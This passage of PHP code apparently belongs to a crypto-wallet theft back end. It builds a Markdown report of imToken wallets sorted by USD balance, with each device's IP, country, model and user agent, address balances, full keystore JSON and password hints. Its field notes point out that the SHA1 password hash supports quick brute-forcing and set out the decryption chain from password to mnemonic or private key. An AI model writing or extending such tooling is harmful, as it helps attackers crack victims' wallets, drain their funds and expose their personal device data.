summary['exported_at']; $md[] = ''; $md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd'] .' · 无助记词 · 有 keystore'; $md[] = ''; $md[] = '## 汇总'; $md[] = ''; $md[] = '| 指标 | 值 |'; $md[] = '|---|---|'; $md[] = "| 设备数 | {$this->summary['device_count']} |"; $md[] = "| 地址数 | {$this->summary['address_count']} |"; $md[] = "| Keystore 数 | {$this->summary['keystore_count']} |"; foreach ($this->summary['totals']['coins'] as $col => $val) { $sym = strtoupper($col); $md[] = "| {$sym} 总额 | {$val} |"; } $md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |"; $md[] = ''; $md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1'; $md[] = ''; foreach ($this->devices as $device) { $this->renderDevice($md, $device); } $md[] = '---'; $md[] = ''; $md[] = '## 字段说明'; $md[] = ''; $md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)'; $md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对'; $md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥'; $md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)'; $md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)'; $md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥'; $md[] = ''; return implode("\n", $md); } private function renderDevice(array &$md, array $device): void { $hints = $this->collectPasswordHints($device['keystores']); $hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无'; $addrCount = count($device['addresses']); $usd = $device['totals']['usd_approx']; $md[] = '---'; $md[] = ''; $md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`"; $md[] = ''; $md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}"; $md[] = ''; // 设备基本信息 as JSON $basicInfo = [ 'id' => $device['id'], 'device_id' => $device['device_id'], 'channel_id' => $device['channel_id'], 'model' => $device['model'], 'ios_version' => $device['ios_version'], 'ip' => $device['ip'], 'country' => $device['country'], 'wallet_names' => $device['wallet_names'], 'user_agent' => $device['user_agent'], 'created_at' => $device['created_at'], ]; $md[] = '**设备基本信息**:'; $md[] = ''; $md[] = '```json'; $md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); $md[] = '```'; $md[] = ''; // 地址列表 as table $this->renderAddressTable($md, $device['addresses']); // keystore as JSON $this->renderKeystores($md, $device['keystores']); } /** * @param list> $keystores * @return list */ private function collectPasswordHints(array $keystores): array { $hints = []; foreach ($keystores as $ks) { $meta = $ks['keystore']['imTokenMeta'] ?? null; if (is_array($meta) && isset($meta['passwordHint'])) { $h = trim((string) $meta['passwordHint']); if ($h !== '' && ! in_array($h, $hints, true)) { $hints[] = $h; } } } return $hints; } private function renderAddressTable(array &$md, array $addresses): void { $md[] = '**地址列表**:'; $md[] = ''; if ($addresses === []) { $md[] = '_(无)_'; $md[] = ''; return; } $header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor']; foreach (WalletAddress::COIN_COLUMNS as $col) { $header[] = strtoupper($col); } $md[] = '| '.implode(' | ', $header).' |'; $md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|'; foreach ($addresses as $a) { $row = [ $a['id'], '`'.$a['address'].'`', $a['chain_type'], $a['derive_index'] ?? '-', $a['mnemonic_id'] ?? '-', $a['monitor'] ? '✓' : '·', ]; foreach (WalletAddress::COIN_COLUMNS as $col) { $row[] = $a['coins'][$col] ?? '0'; } $md[] = '| '.implode(' | ', $row).' |'; } $md[] = ''; } private function renderKeystores(array &$md, array $keystores): void { if ($keystores === []) { return; } foreach ($keystores as $ks) { $md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):'; $md[] = ''; $md[] = '```json'; $md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); $md[] = '```'; $md[] = ''; } } }